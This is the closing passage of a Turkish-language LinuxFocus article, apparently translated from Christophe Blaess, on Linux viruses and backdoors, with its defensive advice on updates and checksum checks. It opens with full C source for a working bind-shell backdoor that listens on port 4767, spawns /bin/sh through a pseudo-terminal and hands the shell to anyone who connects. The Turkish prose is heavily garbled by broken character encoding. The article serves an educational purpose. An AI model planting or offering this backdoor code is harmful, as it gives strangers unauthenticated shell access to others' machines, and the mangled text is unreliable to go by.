#define _GNU_SOURCE 500 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <termios.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #define ADRESSE_BACKDOOR INADDR_ANY #define PORT_BACKDOOR 4767 int main (void) { int sock; int sockopt; struct sockaddr_in adresse; /* address */ socklen_t longueur; /* length */ int sock2; int pty_maitre; /* pty_master */ int pty_esclave; /* pty_slave */ char * nom_pty; /* name_pty */ struct termios termios; char * args [2] = { "/bin/sh", NULL }; fd_set set; char buffer [4096]; int n; sock = socket (AF_INET, SOCK_STREAM, 0); sockopt = 1; setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt)); memset (& adresse, 0, sizeof (struct sockaddr)); adresse . sin_family = AF_INET; adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR); adresse . sin_port = htons (PORT_BACKDOOR); if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse))) exit (1); listen (sock, 5); while (1) { longueur = sizeof (struct sockaddr_in); if ((sock2 = accept (sock, & adresse, & longueur)) < 0) continue; if (fork () == 0) break; close (sock2); } close (sock); if ((pty_maitre = getpt()) < 0) exit (1); grantpt (pty_maitre); unlockpt (pty_maitre); nom_pty = ptsname (pty_maitre); tcgetattr (STDIN_FILENO, & termios); if (fork () == 0) { /* Son: shell execution in the slave pseudo-TTY */ close (pty_maitre); setsid(); pty_esclave = open (nom_pty, O_RDWR); tcsetattr (pty_esclave, TCSANOW, & termios); dup2 (pty_esclave, STDIN_FILENO); dup2 (pty_esclave, STDOUT_FILENO); dup2 (pty_esclave, STDERR_FILENO); execv (args [0], args); exit (1); } /* Father: copy of the socket to the master pseudo-TTY and vice versa */ tcgetattr (pty_maitre, & termios); cfmakeraw (& termios); tcsetattr (pty_maitre, TCSANOW, & termios); while (1) { FD_ZERO (& set); FD_SET (sock2, & set); FD_SET (pty_maitre, & set); if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1, & set, NULL, NULL, NULL) < 0) break; if (FD_ISSET (sock2, &set)) { if ((n = read (sock2, buffer, 4096)) < 0) break; write (pty_maitre, buffer, n); } if (FD_ISSET (pty_maitre, &set)) { if ((n = read (pty_maitre, buffer, 4096)) < 0) break; write (sock2, buffer, n); } } return (0); }
B�yle k���k bir kodun b�y�k bir uygulamadan filtre edilmesi uzun zaman al�r . Arka kap�lar sadece teorik olas�l�klar olarak d���n�lmemelidir. �rne�in Red Hat 6.2 nin Piranha paketi varsay��lan(default) �ifreyi kabul eder. Quake 2 adl� oyunda arka kap� bulundurmaktad�r . Arka kap� mekanizmalar� kendilerin �ok karma��k g�r�n�mlerdede saklarlar ve bir �ok kullan�c� taraf�ndan farkedilmezler.�rneklerini �ifreleme sistemlerinde g�rebiliriz.�rne�in SE-Linux , NSA taraf�ndan geli�tirilen g�venlik yamalar�n� kullanmaktad�r. Fakat hi� bir Linux geli�tiricisi kesin olarak yamalar� kontrol etti�ini ve bir a��k bulunmad���n� iddia edemez ve emin olamaz . �ok az ki�i bu tip zay�fl�klar� farkedecek Matematik bilgisine sahiptir .
Sonu� olarak Gnu/Linux d�nyas�ndaki �cretsiz yaz�l�mlar tamam�yla g�venli de�ildir. �ok da aceleci ve endi�eli olmadan gerekli �nlemleri almak, yaz�l�mlar� m�mk�n olan en k�sa s�rede g�ncellemek , sadece gerekli a� servislerini kullanmak , g�venilen sitelerden uygulama indirmek , indirilen paketlerin PGP yada MD5 yeterlili�inin olmas�na dikkat etmek yararl� olacakt�r .
Linux sistemleri yak�n gelecekte iki ana tehlike beklemektedir . Birincisi �retim uygulamalar�n�n d�k�manlardaki makrolar� yorumlamas� ; ikincisi �ok platformlu vir�sler. Birinci problemde kulan�c� al��kanl�klar� d�zenlenerek sorun giderilebilsede ikinci problemi ��zmek zordur. Umar�z �ok yak�n bir zamanda Linux makinalarda daha g��l� vir�s denet�isi programlar olu�turulur.
Yaz�l�mlar� tehdit eden vir�sler , truva atlar�,... nas�l �al��t�klar� , ne yapt�klar� , hakk�nda bir �ok kaynak bulunmaktad�r . Bu kaynaklar�n bir �o�u DOS/Windows i�in ge�erli gibi g�z�ksede , baz�lar� Linux uda yak�ndan ilgilendirmektedir. Bura konu edilen makaleler genel olarak teorik mekanizmalar� analiz etmektedir.
|
G�rsely�re sayfalar�n�n bak�m�, LinuxFocus Edit�rleri taraf�ndan yap�lmaktad�r
© Christophe Blaess, FDL LinuxFocus.org |
�eviri bilgisi:
|
2002-09-23, generated by lfparser version 2.31